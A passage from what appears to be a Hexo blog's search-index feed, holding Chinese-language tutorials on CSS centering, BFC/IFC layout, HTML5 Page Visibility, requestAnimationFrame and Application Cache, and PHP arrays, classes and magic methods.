margin: 0 auto; /* display: inline-block; */ background-color: #ff00ff;&#125; 注:无需要确定父级元素的宽高,但HTML标签层数较多。 7、绝对定位加四边定位为0,margin 为 auto。123456789101112131415161718#div1 &#123; width: 200px; height: 200px; position: relative; background-color: #ffff00;&#125;#div2 &#123; width: 100px; height: 100px; top: 0; left: 0; right: 0; bottom: 0; margin: auto; position: absolute; background-color: #cccccc;&#125; 注:无需要确定父级元素的宽高,但把定位属性全用上了 8、利用flex布局 justify-content: center; 和 align-items: center; 属性居中。123456789101112131415#div1 &#123; width: 200px; height: 200px; display: flex; flex-direction: row; justify-content: center; align-items: center; background-color: #ffff00;&#125;#div2 &#123; width: 100px; height: 100px; background-color: #cccccc;&#125; 注:无需要确定父级元素的宽高,兼容IE10+ 9、利用grid布局,划分成3x3栅格,第二行第二列格子垂直水平居中12345678910111213141516#div1 &#123; width: 200px; height: 200px; display: grid; background-color: #ffff00; grid-template-columns: repeat(3, 1fr); grid-template-rows: repeat(3, 1fr);&#125;#div2 &#123; width: 100px; height: 100px; background-color: #cccccc; grid-row-start: 2; grid-column-start: 2;&#125; 注:无需要确定父级元素的宽高,兼容性Firefox 52, Safari 10.1, Chrome 57, Opera 44 10、利用flex或grid布局结合 margin: auto;123456789101112#div1 &#123; width: 200px; height: 200px; display: flex; /* display: grid; */&#125;#div2 &#123; width: 100px; height: 100px; margin: auto;&#125; 注:此方法最简洁, 但是 flex/grid 存在兼容性问题]]></content>
<categories>
<category>css</category>
</categories>
<tags>
<tag>css</tag>
</tags>
</entry>
<entry>
<title><![CDATA[html5 新型api]]></title>
<url>%2F2018%2F05%2F24%2Fhtml5%20%E6%96%B0%E5%9E%8Bapi%2F</url>
<content type="text"><![CDATA[Page Visibility API为了解决隐藏或最小化标签页,让开发人员知道,有哪些功能可以停下来,```,``` visibilitychange ```事件12 document.addEventListener(‘msvisibilitychange’, handleVisibilityChange);document.addEventListener(‘webkitvisibilitychange’, handleVisibilityChange); function handleVisibilityChange () { var msg = ‘’; // 检测当前页面是否被隐藏 if (document.hidden || document.msHidden || document.webkitHidden) { msg = &apos;Page has hidden&apos; + new Date(); } else { msg = &apos;Page is visible now &apos; + new Date(); } console.log(msg); }12345678910111213141516171819202122232425262728293031323334353637383940### requestAnimationFrame使用原始的`setTimeout`和`setInterval`定时器方法创建动画不精确,HTML5优化这个问题,提供一个api,避免过度渲染,解决精度低问题。```javascriptvar requestAnimationFrame = window.requestAnimationFrame || window.msRequestAnimationFrame || window.mozRequestAnimationFrame || window.webkitRequestAnimationFrame;var startTime = window.mozRequestAnimationStartTime || Date.now();requestAnimationFrame(draw);var dist = 500;var start = 0;var step = 10;var $block = document.getElementById(&apos;block&apos;);function draw (timestamp) &#123; var drawStart = (timestamp || Date.now()); var diff = drawStart - startTime; var next = start + step; $block.style.left = next + &apos;px&apos;; start = next; if(start &gt; dist) &#123; // cancelAnimationFrame(); return false; &#125; console.log(&apos;diff:&apos;, diff); // 把startTime重写为这一次的绘制时间 startTime = drawStart; // 重绘UI requestAnimationFrame(draw);&#125;]]></content>
<categories>
<category>html</category>
</categories>
<tags>
<tag>html5</tag>
<tag>javascript</tag>
</tags>
</entry>
<entry>
<title><![CDATA[HTML5离线存储之Application Cache]]></title>
<url>%2F2018%2F05%2F23%2FHTML5%E7%A6%BB%E7%BA%BF%E5%AD%98%E5%82%A8%E4%B9%8BApplication%20Cache%2F</url>
<content type="text"><![CDATA[关于html5的离线存储,大致可分为: localStorage, sessionStorage indexedDB web sql application cache 可以在chrome的debug工具/Resources下产看,下面来着重说明一下Application Cache。 访问流程 当我们第一次正确配置app cache后,当我们再次访问该应用时,浏览器会首先检查manifest文件是否有变动,如果有变动就会把相应的变得跟新下来,同时改变浏览器里面的app cache,如果没有变动,就会直接把app cache的资源返回,基本流程是这样的。 特点 离线浏览: 用户可以在离线状态下浏览网站内容 更快的速度: 因为数据被存储在本地,所以速度会更快 减轻服务器的负载: 浏览器只会下载在服务器上发生改变的资源 如何使用首先,我们建立一个html文件,类似这样: 1234&lt;html lang=&quot;en&quot; mainfest=&quot;index.manifest&quot;&gt; &lt;head&gt;&lt;/head&gt; &lt;body&gt;&lt;/body&gt;&lt;/html&gt; 可能有些代码看不懂,我们先看最简单的,第一行配置了一个manifest=”manifest.appcache”(注意是mani不是main),这是使用app cache首先要配置的,然后我们在这个html文件里引入了两个img做为测试用,然后监听了load时间来查看看application的status,关于applicationCache的api,可以查看。 然后在相同目录下新建一个manifest.appcache文件,注意关于路径要和html页面配置时一致即可。 123456789CACHE MANIFEST#version 1.3CACHE:img/1.jpgimg/2.jpgtest.cssNETWORK:* 关于manifest.appcache文件,基本格式为三段: CACHE,NETWORK,与 FALLBACK,其中NETWORK和FALLBACK为可选项,而第一行CACHE MANIFEST为固定格式,必须写在前面。 CACHE:(必须) 标识出哪些文件需要缓存,可以是相对路径也可以是绝对路径。例如:aa.css,http://www.baidu.com/aa.js. NETWORK:(可选) 这一部分是要绕过缓存直接读取的文件,可以使用通配符*,,也就是说除了上面的cache文件,剩下的文件每次都要重新拉取。例如*,login.php。 FALLBACK:(可选) 指定了一个后备页面,当资源无法访问时,浏览器会使用该页面。该段落的每条记录都列出两个 URI—第一个表示资源,第二个表示后备页面。两个 URI 都必须使用相对路径并且与清单文件同源。可以使用通配符。例如*.html /offline.html。 有了上面两个文件之后还要配置服务器的mime.types类型,找大盘apache的mime.types文件,添加 1text/cache-manifest .appcache OK,上面文件配置完成之后,application cache就可以运行了。查看console: 可以看到,一下子这么多log,但是除了4是我们console的log之外,其他的都是appcache自己打的,因为我们配置了manifest,系统会默认打出appcache的log。关于status的值: 然后,通过log,我们看到一些文件已经被缓存,我们可以查看chrome Resources来查看: 证明直接从缓存拿去文件: 更新缓存的方式 更新manifest文件 浏览器发现manifest文件本身发生变化,便会根据新的manifest文件去获取新的资源进行缓存。 当manifest文件列表并没有变化的时候,我们通常通过修改manifest注释的方式来改变文件,从而实现更新。 通过javascript操作 浏览器提供了applicationCache供js访问,通过对于applicationCache对象的操作也能达到更新缓存的目的。 清除浏览器缓存 对于第一种,我们修改一下manifest文件,把version改为1.4,然后刷新页面。 我们可以发现,appcache更新了缓存重新从网络上拉去的cache的文件,但是,我们如果想要看到改变,必须再次刷新页面。 对于第二种方法,我们首先修改一下我们的js,添加一个监听事件: 1234window.applicationCache.addEventListener(&apos;updateready&apos;, function()&#123; console.log(&apos;updateready!&apos;); window.applicationCache.swapCache();&#125;); 清除浏览器缓存再试一次,这次我们在console里调用window.applicationCache.update();,看看发生了什么: updateready事件触发了,同样,appcache也更新了缓存,其中swapCache方法的意思是重新应用跟新后的缓存来替换原来的缓存!,到这里后基本的appcache也差不多了。 注意事项: 站点离线存储的容量限制是5M 如果manifest文件,或者内部列举的某一个文件不能正常下载,整个更新过程将视为失败,浏览器继续全部使用老的缓存 引用manifest的html必须与manifest文件同源,在同一个域下 FALLBACK中的资源必须和manifest文件同源 当一个资源被缓存后,该浏览器直接请求这个绝对路径也会访问缓存中的资源。 站点中的其他页面即使没有设置manifest属性,请求的资源如果在缓存中也从缓存中访问 当manifest文件发生改变时,资源请求本身也会触发更新]]></content>
<categories>
<category>html</category>
</categories>
<tags>
<tag>html5</tag>
<tag>缓存</tag>
</tags>
</entry>
<entry>
<title><![CDATA[深入理解BFC]]></title>
<url>%2F2018%2F05%2F21%2F%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3BFC%2F</url>
<content type="text"><![CDATA[1、相关定义1.1 Formatting contextFormatting context 是 W3C CSS2.1 规定中的一个概念。它是页面中的一块渲染区域,并且有一套渲染规则,它决定了其子元素如何定位,以及和其他元素的关系和相互作用。最常见的 Formatting context 有 Block formatting context(简称 BFC)和 Inline formatting context(简称 IFC)。css2.1 中只有 BFC 和 IFC,css3 中还增加了 GFC 和 FFC。 1.2 BFC 定义BFC(Block formatting context)直译为“块级格式化上下文”。它是独立的渲染区域,块格式上下文是页面 CSS 视觉渲染的一部分,用于决定块盒子的布局及浮动相互影响范围的一个区域。 1.3 BFC 布局规则: 内部的 Box 会在垂直方向,一个接一个地放置; Box 垂直方向地距离由 margin 决定。属于同一个 BFC 的两个相邻 Box 的 margin 会发生重叠 每个元素的 margin box 的左边,与包含块 border box 的左边相接触(对于从左往右的格式化,否则相反)。即便存在浮动也是如此。 BFC 的区域不会与 float box 重叠。 BFC 就是页面的一个隔离的独立容器,容器里面的子元素不会影响到外面的元素。反之也如此。 计算 BFC 的高度时,浮动元素也参与计算。 2、作用2.1 可生成 BFC 的元素 根元素 html; 浮动元素(float 属性不为 none); 绝对定位元素(position 为 absolute 或 fixed); 行内块元素(display 为 inline-block); 表格元素(display 为 table-cell,table-caption) 弹性盒元素(display 为 flex, inline-flex); overflow 不为 visible; 2.2 场景一:对于两栏或三栏浮动自适应布局,包含块边接触问题。12345678910111213141516171819202122232425&lt;style&gt; .left-center-right.float .left &#123; float: left; width: 200px; height: 100px; background-color: rgba(0, 0, 0, 0.7); &#125; .left-center-right.float .center &#123; background-color: rgb(13, 218, 233); height: 200px; &#125; .left-center-right.float .right &#123; float: right; width: 200px; height: 150px; background-color: rgb(189, 109, 109); &#125;&lt;/style&gt;&lt;section class="left-center-right float"&gt; &lt;article class="left"&gt;我是左边区域块&lt;/article&gt; &lt;article class="right"&gt;我是右边区域块&lt;/article&gt; &lt;article class="center"&gt;我是中间区域块&lt;/article&gt;&lt;/section&gt; 中间自适应栏边界会延展左右浮动区域 此时需要把中间栏变成 BFC 12345.left-center-right.float .center &#123; background-color: rgb(13, 218, 233); height: 200px; overflow: hidden;&#125; 2.3 场景二:子级元素有浮动,父级元素塌陷问题12345678910111213141516171819&lt;style&gt; .all-children-float .left &#123; float: left; width: 200px; height: 100px; background-color: rgba(0, 0, 0, 0.7); &#125; .all-children-float .right &#123; float: right; width: 200px; height: 150px; background-color: rgb(189, 109, 109); &#125;&lt;/style&gt;&lt;section class="all-children-float"&gt; &lt;article class="left"&gt;我是左边区域块&lt;/article&gt; &lt;article class="right"&gt;我是右边区域块&lt;/article&gt;&lt;/section&gt; 此时需要将父级元素变成 BFC 123.all-children-float &#123; position: absolute;&#125; 2.3 场景三:垂直方向 margin 出现重合12345678910111213141516171819&lt;style&gt; .verticle-block .block1 &#123; width: 200px; height: 150px; background-color: rgb(13, 218, 233); margin: 20px; &#125; .verticle-block .block2 &#123; width: 150px; height: 150px; background-color: rgb(189, 109, 109); margin: 30px; &#125;&lt;/style&gt;&lt;section class="verticle-block"&gt; &lt;article class="block1"&gt;我是区域块1&lt;/article&gt; &lt;article class="block2"&gt;我是区域块2&lt;/article&gt;&lt;/section&gt; Box 垂直方向的距离 margin 决定,属于同一个 BFC 的两个相邻 Box 的 margin 会发生重叠。 我们的做法是包一层标签,并转化成 BFC。 12345678.wrapper1 &#123; overflow: hidden; &#125;&lt;section class="verticle-block"&gt; &lt;div class="wrapper1"&gt; &lt;article class="block1"&gt;我是区域块1&lt;/article&gt; &lt;/div&gt; &lt;article class="block2"&gt;我是区域块2&lt;/article&gt;&lt;/section&gt; 参考加深理解 BFC学习 BFC (Block Formatting Context)]]></content>
<categories>
<category>css</category>
</categories>
<tags>
<tag>css BFC</tag>
</tags>
</entry>
<entry>
<title><![CDATA[深入理解IFC]]></title>
<url>%2F2018%2F05%2F20%2F%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3IFC%2F</url>
<content type="text"><![CDATA[概念规则 FC(Inline formatting context),即行内格式化上下文,它和BFC一样,既不是属性也不是元素,而是一种,一种上下文。 在IFC中,框(boxs)一个接一个水平排列,起点是包含块的顶部。水平方向上的margin,border和padding在框之间得到保留。框在垂直方向上可以以不同的方式对齐:它们的顶部或底部对齐,或根据其中文字的基线对齐。包括那些框的长方形区域,会形成一行,叫做行框(line box)。 一个line box的宽度由包含它的元素的宽度和包含它的元素里面有没有float元素来决定,而高度由内部元素中实际高度最高的元素计算出来。 line box的高度是足够高来包含他内部容器们的,也可能不比它包含的容器们都高(比如在基线对齐的时候),当它包含的内部容器的高度小于line box的高度时,内部容器的垂直位置由自己的vertical这个属性来确定。当内部的容器盒子太多,一个line box装不下,它们折行之后会变成两个或多个line box,line box们相互之间垂直方向不能分离,不能重叠。 一般来说,line box的左边缘挨着包含它的元素的左边缘,并且右边缘挨着包含它的元素的右边缘,浮动元素会在包含他们元素的边缘和line box的边缘之间,所以,虽然在同一个IFC下的line box们通常拥有相同的宽度(就是包含它们容器的宽度),但是也会因为浮动元素捣乱,导致line box们的可用宽度产生变化不一样了。在同一个IFC下的line box们的高度也会不一样(比如说,一个line box里有个比较打的image) 当内联元素的宽度超过line box宽度,那么它会折行分裂成几个line box,如果这个元素里面的内容不可以折行,那么内联元素会溢出line box。 当一个内联元素分裂时,分裂处的margin,border和padding不会有视觉效果。 line box的生存条件时IFC中包含inine-level元素,如果line box没有文本,空白,换行符,内联元素,也灭有其他的存在IFC环境中的元素(如inline-block,inline-table,image等),将被视为零高度,也将被视为没意义。 123456789101112131415161718&lt;style&gt; .verticle-middle &#123; width: 150px; height: 200px; background-color: #ccc; &#125; .verticle-middle span &#123; padding: 20px; &#125;&lt;/style&gt;&lt;section class=&quot;verticle-middle ifc&quot;&gt; &lt;span&gt;垂直居中&lt;/span&gt;&lt;span&gt;垂直居中&lt;/span&gt;&lt;span&gt;垂直居中&lt;/span&gt; &lt;span&gt;垂直居中&lt;/span&gt;&lt;span&gt;垂直居中&lt;/span&gt;&lt;span&gt;垂直居中&lt;/span&gt; &lt;span&gt;垂直居中&lt;/span&gt;&lt;span&gt;垂直居中&lt;/span&gt;&lt;span&gt;垂直居中&lt;/span&gt; &lt;span&gt;垂直居中&lt;/span&gt;&lt;span&gt;垂直居中&lt;/span&gt;&lt;span&gt;垂直居中&lt;/span&gt;&lt;/section&gt; 实例应用在一个line box中,当他包含的内部容器的高度小于line box的高度的时候,内部容器的垂直位置由自己的vertical属性来确定。那么,我们设想一下,如果手动创建一个IFC环境,让line box的高度时包含块的高度的100%,让line box内部的元素使用vertical-align:middle,就可以实现垂直居中了。 12345678910111213141516171819202122232425262728293031323334&lt;style&gt; .verticle-middle &#123; width: 300px; height: 200px; background-color: #ccc; &#125; .verticle-middle &gt; div &#123; display: inline-block; vertical-align: middle; &#125; .verticle-middle img &#123; vertical-align: middle; &#125; .verticle-middle span &#123; padding: 20px; &#125; .ifc:after &#123; display: inline-block; content: &quot;&quot;; width: 0; height: 100%; vertical-align: middle; &#125;&lt;/style&gt;&lt;section class=&quot;verticle-middle ifc&quot;&gt; &lt;div&gt; &lt;img src=&quot;image/demo.jpg&quot; alt=&quot;&quot;&gt; &lt;span&gt;垂直居中&lt;/span&gt; &lt;/div&gt;&lt;/section&gt;]]></content>
<categories>
<category>css</category>
</categories>
<tags>
<tag>css IFC</tag>
</tags>
</entry>
<entry>
<title><![CDATA[php基础]]></title>
<url>%2F2018%2F05%2F04%2Fphp%E5%9F%BA%E7%A1%80%2F</url>
<content type="text"><![CDATA[数组直接赋值声明 索引数组:下标为数字 12345$arr1[0] = 1;$arr1[1] = 2;$arr1[2] = 3;print_r($arr1);echo '&lt;br&gt;'; 关联数组:下标为字符串 12345$arr2['one'] = 1;$arr2['two'] = 2;$arr2['three'] = 3;print_r($arr2);echo '&lt;br&gt;'; */ []和{}可以访问下标,建议使用[],因为 echo “$arr1{0}2222”; 报错 12echo $arr1[0];echo $arr1&#123;0&#125;; 下标是字符串,数字字符串转化为整数 123$arr1['2'] = 'a';print_r($arr1); // Array ( [0] =&gt; 1 [1] =&gt; 2 [2] =&gt; a )echo '&lt;br&gt;'; 例外,’08’不会转化成8,而是’08’,被当作八进制 123$arr1['01'] = '01';print_r($arr1); // Array ( [0] =&gt; 1 [1] =&gt; 2 [2] =&gt; 3 [01] =&gt; 01 )echo '&lt;br&gt;'; 下标是浮点数,小数部分会被舍弃 123$arr1[1.8] = 1.8;print_r($arr1); // Array ( [0] =&gt; 1 [1] =&gt; 1.8 [2] =&gt; 3 )echo '&lt;br&gt;'; 下标是布尔值,true转化为1,false转化为0 123$arr1[true] = 'true';print_r($arr1); // Array ( [0] =&gt; 1 [1] =&gt; true [2] =&gt; 3 )echo '&lt;br&gt;'; 下标是null,转化为空字符串’’ 123$arr1[null] = 'null';print_r($arr1); // Array ( [0] =&gt; 1 [1] =&gt; 2 [2] =&gt; 3 [] =&gt; null )echo '&lt;br&gt;'; 数组和对象做下标会有警告 12345678910$index = array();$arr1[$index] = '$index';print_r($arr1); // Warning: Illegal offset type */```[]`不写下标,会自动增加索引```js$arr1[] = '[]';print_r($arr1); // Array ( [0] =&gt; 1 [1] =&gt; 2 [2] =&gt; 3 [3] =&gt; [] ) 默认从零开始,当前数组索引出现过的最大值加1 123$arr1[8] = 8;$arr1[] = '9';print_r($arr1); // Array ( [0] =&gt; 1 [1] =&gt; 2 [2] =&gt; 3 [8] =&gt; 8 [9] =&gt; 9 ) 关联数组不会影响索引下标的排列规则 1234$arr1['one'] = 'one';print_r($arr1); // Array ( [0] =&gt; 1 [1] =&gt; 2 [2] =&gt; 3 [one] =&gt; one )$arr1[] = 'two';print_r($arr1); // Array ( [0] =&gt; 1 [1] =&gt; 2 [2] =&gt; 3 [one] =&gt; one [3] =&gt; two ) 使用array声明数组,默认是索引的下标,从0开始 12$arr = array('a', 'b', 'c');print_r($arr); // Array ( [0] =&gt; a [1] =&gt; b [2] =&gt; c ) 可以使用=&gt;符号指定下标 12$arr = array('aaa', 'two'=&gt;'bbb', 'ccc');print_r($arr); php5.4+,可以使用 12$arr = ['aaa', 'two'=&gt;'bbb', 'ccc'];print_r($arr); // Array ( [0] =&gt; aaa [two] =&gt; bbb [1] =&gt; ccc ) unset删除数组中一个元素,array_values重新索引 1234567$arr = ['a', 'b', 'c'];// `unset`删除数组中一个元素unset($arr[1]);print_r($arr); // Array ( [0] =&gt; a [2] =&gt; c )// `array_values`重新索引$arr = array_values($arr);print_r($arr); // Array ( [0] =&gt; a [1] =&gt; c ) list()遍历,左边是list函数,等号右边只能是一个数组,只能是索引数组(下标是连续的),list()中的参数和数组总一一对应 12345$str = 'zs_ls_ww';list($a, $b, $c) = explode('_', $str);echo $a . '&lt;br&gt;'; // 'zs'echo $b . '&lt;br&gt;'; // 'ls'echo $c . '&lt;br&gt;'; // 'ww' each()遍历,each()只处理当前元素,指针指向当前元素,下一次调用,指针指向下一个元素,最后一个元素再调用返回false 123456789$arr = ['zs', 'ls', 'ww'];$one = each($arr);echo '&lt;pre&gt;';print_r($one);echo '&lt;/pre&gt;';$two = each($arr);echo '&lt;pre&gt;';print_r($two);echo '&lt;/pre&gt;'; 结合list()和each()遍历 1234$arr = ['zs', 'ls', 'ww'];while (list($key, $val) = each($arr)) &#123; echo "&#123;$key&#125;".'---'."&#123;$val&#125;".'&lt;br&gt;';&#125; 数组地址访问方法 prev() next() reset() end() key() current() 12345$arr = ['one'=&gt;'1', 'two'=&gt;'2', 'three'=&gt;'3'];next($arr);print_r(key($arr)); // twoecho key($arr); // twoecho current($arr); // 2 超全局数组(变量),在php中,已经声明完的变量,你可以直接就去使用,变量名字已经规定好了,$_SERVER $_ENV $_GET $_POST $_FILES $_COOKIE $_SESSION $GLOBALS 123foreach ($_SERVER as $key =&gt; $value) &#123; echo $key.'---&gt;'.$value.'&lt;br&gt;';&#125; 数组相关的函数 12345678910111213141516171819202122232425262728293031323334353637$lamp = array('os'=&gt;'Linux', 'webserver'=&gt;'Apache', 'db'=&gt;'Mysql', 'language'=&gt;'PHP', 'num'=&gt;10);Print_r($lamp);echo '&lt;br&gt;';// `array_values()` 获取数组值$val = array_values($lamp);print_r($val);echo '&lt;br&gt;';// `array_keys(input, search_value, strict)` 获取数组键$key = array_keys($lamp, 'Apache', true);print_r($key);echo '&lt;br&gt;';// `in_array($needle, $haystack, strict)` 检查数组中是否存在某个值,返回布尔值$in = in_array('10', $lamp, true);echo $in ? '在数组中':'不在数组中';echo '&lt;br&gt;';// `array_search($needle, $haystack, strick)` 检查数组中是否存在某个值,返回键名$s = array_search('10', $lamp);echo $s;echo '&lt;br&gt;';// `array_key_exist($key, $haystack, strick)` 检查数组中键名是否存在$k = array_key_exists('db', $lamp);echo $k ? '键在数组中' : '键不在数组中';echo '&lt;br&gt;';// `array_flip($haystack)` 交换数组中的键和值$f = array_flip($lamp);print_r($f);echo '&lt;br&gt;';// `array_reverse($haystack)` 返回一个单元顺序相反的数组$r = array_reverse($lamp);print_r($r); 统计数组元素个数和唯一性 12345678910111213141516$lamp = ['os'=&gt;'Linux', 'Linux', 'webserver'=&gt;'Apache'];$web = [ 'lamp'=&gt;['os'=&gt;'Linux', 'webserver'=&gt;'Apache'], 'javaEE'=&gt;['os'=&gt;'Unix', 'webserver'=&gt;'Tomcat']];// `count($arr, $mode)`,计算数组元素个数,第二个参数为真,递归累加数组元素个数echo count($web, true);echo '&lt;br&gt;';// array_count_values($input),统计数组重复值的出现个数print_r(array_count_values($lamp)); // Array ( [Linux] =&gt; 2 [Apache] =&gt; 1 )echo '&lt;br&gt;';// array_unique($arr) ,去除数组重复值print_r(array_unique($lamp)); // Array ( [os] =&gt; Linux [webserver] =&gt; Apache ) 使用回调函数处理数组的函数 array_filter($input, fn)过滤数组,不传回调函数,返回值为真的元素 1234567$arr = [1, 2, 3, null, -1, 'a', false, true];var_dump($arr);var_dump(array_filter($arr));var_dump(array_filter($arr, function($var) &#123; return $var % 2;&#125;));var_dump($arr); unset() 删除数组本身的元素 12unset($arr[1]);var_dump($arr); array_walk($arr, $fn, $userdata)对数组的每个成员应用用户函数 1234567$arr = [1, 2, 3, null, -1, 'a', false, true];array_walk($arr, function(&amp;$val, $key, $userdata) &#123; $val = $val * 2; echo $userdata; echo '&lt;br&gt;';&#125;, '###');print_r($arr); array_map($fn, $arr1, $arr2,...)作用于数组的每个元素上 12345$arr1 = [1, 2, 4];$arr2 = ['a', 'b', 'c'];array_map(function($val1, $val2) &#123; echo "&#123;$val1&#125; =&gt; &#123;$val2&#125;&lt;br&gt;";&#125;, $arr1, $arr2); 当第一参数回调函数为空,返回结果是数组对应各项合并 123$arr3 = [false, true];$m = array_map(null, $arr1, $arr2, $arr3);var_dump($m); 冒泡排序123456789101112131415function bubbleSort($arr) &#123; $len = count($arr); for ($i = 0; $i &lt; $len; $i++) &#123; for ($j = 0; $j &lt; $len - 1 - $i; $j++) &#123; if($arr[$j] &gt; $arr[$j + 1]) &#123; $tmp = $arr[$j]; $arr[$j] = $arr[$j + 1]; $arr[$j + 1] = $tmp; &#125; &#125; &#125; return $arr;&#125;$arr = [0, 12, 2, 3, 14, 5, 6, 7, 8, 9];print_r(bubbleSort($arr)); 数组拆分、合并、分解 array_slice($arr, $offset, $len, true)从数组中取出一段 123$arr = ['a', 'b', 'c', 'd'];$narr = array_slice($arr, 2, 1, true);print_r($narr); // Array ( [2] =&gt; c ) array_splice(&amp;$input, $offset, $len, $replace) 把数组中的一部分去掉并用其他值取代 12345$arr = ['a', 'b'=&gt;2, 'c', 'd'];$narr = array_splice($arr, 1, 1, 'rrr');print_r($narr);echo '&lt;br&gt;';print_r($arr); array_combine($keys, $values) 创建一个数组,用一个数组的值作为其键名,另一个数组作为其值 1234$arr1 = ['a', 'b', 'c'];$arr2 = ['php', 'linux', 'mysql'];$c = array_combine($arr1, $arr2);print_r($c); // Array ( [a] =&gt; php [b] =&gt; linux [c] =&gt; mysql ) +下标相同的会覆盖,前面的覆盖后面的 12345$a = ['a', 'two'=&gt;'b', 'c'];$b = [7, 'two' =&gt; 8, 9];$c = $a + $b;print_r($c); // Array ( [0] =&gt; a [two] =&gt; b [1] =&gt; c )echo '&lt;br&gt;'; array_merge($arr1, $arr2, ...)合并数组,索引数组下标相同不覆盖,关联数组下标相同会覆盖 12$m = array_merge($a, $b);print_r($m); // Array ( [0] =&gt; a [two] =&gt; 8 [1] =&gt; c [2] =&gt; 7 [3] =&gt; 9 ) array_intersect($arr1, $arr2, $arr3...)计算数组交集 1234$arr1 = [4, 5, 6, 7, 8];$arr2 = [5, 6, 7, 8, 9];$intersect= array_intersect($arr1, $arr2);print_r($intersect); // Array ( [1] =&gt; 5 [2] =&gt; 6 [3] =&gt; 7 [4] =&gt; 8 ) array_diff($arr1, $arr2) 计算数组差集 1234$arr1 = [4, 5, 6, 7, 8];$arr2 = [5, 6, 7, 8, 9];$diff = array_diff($arr1, $arr2);print_r($diff); // Array ( [0] =&gt; 4 ) 类1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980class Person &#123; // 在类的成员属性前面一定要有一个修饰词,如果不知道使用什么修饰词,就可以使用var(关键字) // 如果一旦有其他的修饰词就不要有var // 变量(成员属性) private $name = 'wuwh'; private $age; private $gender; // 构造方法 function __construct($name='', $age = 1, $gender = 'male') &#123; $this-&gt;name = $name; $this-&gt;age = $age; $this-&gt;gender = $gender; &#125; // 在直接读取私有属性时自动调用 function __get($name) &#123; echo $name; echo '&lt;br&gt;'; return $this-&gt;$name; &#125; // 在直接设置私有属性时调用 function __set($name, $value) &#123; $this-&gt;$name = $value; &#125; // 在使用`isset()`判断一个私有属性是否存在时,自动调用`__isset()`方法 function __isset($name) &#123; if($name == 'name') &#123; return isset($this-&gt;$name); &#125; &#125; // 在使用`unset()`删除一个私有属性时,自动调用`__unset()`方法 function __unset($name) &#123; if($name == 'name') &#123; unset($this-&gt;$name); &#125; &#125; // 函数(成员方法) // 方法前面加修饰符 `private`,外部不能调用,但是内部方法可以调用 function getName() &#123; return $this-&gt;name; &#125; function getAge() &#123; return $this-&gt;age; &#125; // 私有方法 private function g() &#123; return $this-&gt;gender; &#125; function getGender() &#123; return $this-&gt;g(); &#125; // 析构方法 function __destruct() &#123; echo "destory &#123;$this-&gt;name&#125; over!"; &#125;&#125;$person = new Person('zhangsan', 11, 'female');echo $person-&gt;getName();echo '&lt;br&gt;';echo $person-&gt;getAge();echo '&lt;br&gt;';echo $person-&gt;getGender();echo '&lt;br&gt;';// 魔术方法// `__get()` `__set()` `__isset()` `__unset()`// 读取私有属性,调用`__get()`方法$person-&gt;name;// 设置私有属性,调用`__set()`方法$person-&gt;name = 'abc';echo '&lt;br&gt;';/* unset($person-&gt;name);print_r($person); */if(isset($person-&gt;name)) &#123; echo '存在该属性';&#125; else &#123; echo '不存在该属性';&#125; 继承12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667// `private`这是私有的,只能自己用,子类也不能使用// `protected`保护权限,只能是自己和自己的子类中可以使用// `final`在类前面加这个关键字,则不能让这个类被继承,也可以修饰方法,不能让子类覆盖这个方法class Person &#123; public $name; private $age; private $gender; public static $country = 'cn'; function __construct($name, $age, $gender) &#123; $this-&gt;name = $name; $this-&gt;age = $age; $this-&gt;gender = $gender; &#125; function say() &#123; echo "my name is &#123;$this-&gt;name&#125;, my age is &#123;$this-&gt;age&#125;, my gender is &#123;$this-&gt;gender&#125; "; // `self`指向类本身 echo 'my country is '.self::$country; echo '&lt;br&gt;'; &#125; function eat() &#123; echo 'person can eat'; &#125;&#125;class Student extends Person &#123; var $school; function __construct($name = '', $age = 1, $gender = 'male', $school = '') &#123; // 覆盖父类中的`__construct()`构造方法 Parent::__construct($name, $age, $gender); $this-&gt;school = $school; &#125; function study() &#123; echo "before studying, say &#123;$this-&gt;name&#125;"; echo '&lt;br&gt;'; &#125; /* function say() &#123; echo "I am a student, my name is &#123;$this-&gt;name&#125;"; echo '&lt;br&gt;'; &#125; */ function say() &#123; // 类::成员,使用 `Parent::成员` 访问父类中被覆盖的方法 Parent::say(); echo "my school is &#123;$this-&gt;school&#125;"; echo '&lt;br&gt;'; &#125;&#125;class Teacher extends Person &#123; var $job; function teach() &#123; echo( "before teaching, say &#123;$this-&gt;name&#125;"); &#125;&#125;$student = new Student('wuwh', 22, 'male', 'qing university');$student-&gt;say();$student-&gt;study();// `instanceof`if($student instanceof Person) &#123; echo '$student属于Person类'; echo '&lt;br&gt;';&#125; else &#123; echo '$student不属于Person类'; echo '&lt;br&gt;';&#125;// 静态成员只能用类来访问echo Student::$country; 魔术方法12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788// 魔术方法 `__construct()` `__desctruct()` `__set()` `__get()` `__isset()` `__unset()`class Person &#123; public $name; public $age; public $gender; function __construct($name, $age, $gender) &#123; $this-&gt;name = $name; $this-&gt;age = $age; $this-&gt;gender = $gender; &#125; // 魔术方法`__tostring()`,在直接使用`echo` `print` `printf`输出一个对象引用时,自动调用这个方法 // 将对象的基本信息放在`__tostring`内部,形成字符串返回 // `__tostring()`不能有参数,返回一个字符串 function __toString() &#123; return "my name is &#123;$this-&gt;name&#125;, my age is &#123;$this-&gt;age&#125;, my gender is &#123;$this-&gt;gender&#125;"; &#125; // 在克隆对象时自动调用 // 和构造方法一样,对新克隆对象进行初始化 // `this`指向副本 function __clone() &#123; echo 'clone...'; echo '&lt;br&gt;'; $this-&gt;name = 'clone wuwh'; $this-&gt;age = 100; $this-&gt;gender = 'female'; &#125; // 调用一个对象中不存在的方法时,自动调用的方法 // 有两个参数,第一个是方法名,第二个是方法的参数 function __call($method, $args) &#123; print_r("sorry, there is not exist the function which method &#123;$method&#125;, arguments are"); // print_r($args); // `serialize()`序列化,对象转化成字符串 // `unserialize()`反序列化,字符串转化成对象 echo '&lt;br&gt;'; echo serialize($args); echo '&lt;br&gt;'; &#125; // 在序列化时,自动调用的方法,返回一个数组中声明了的属性名会被序列化 function __sleep() &#123; echo '序列化自动调用了...'; echo '&lt;br&gt;'; return array('name'); &#125; // 在反序列化时,自动调用的方法 function __wakeup() &#123; echo '反序列化自动调用了...'; echo '&lt;br&gt;'; &#125; // 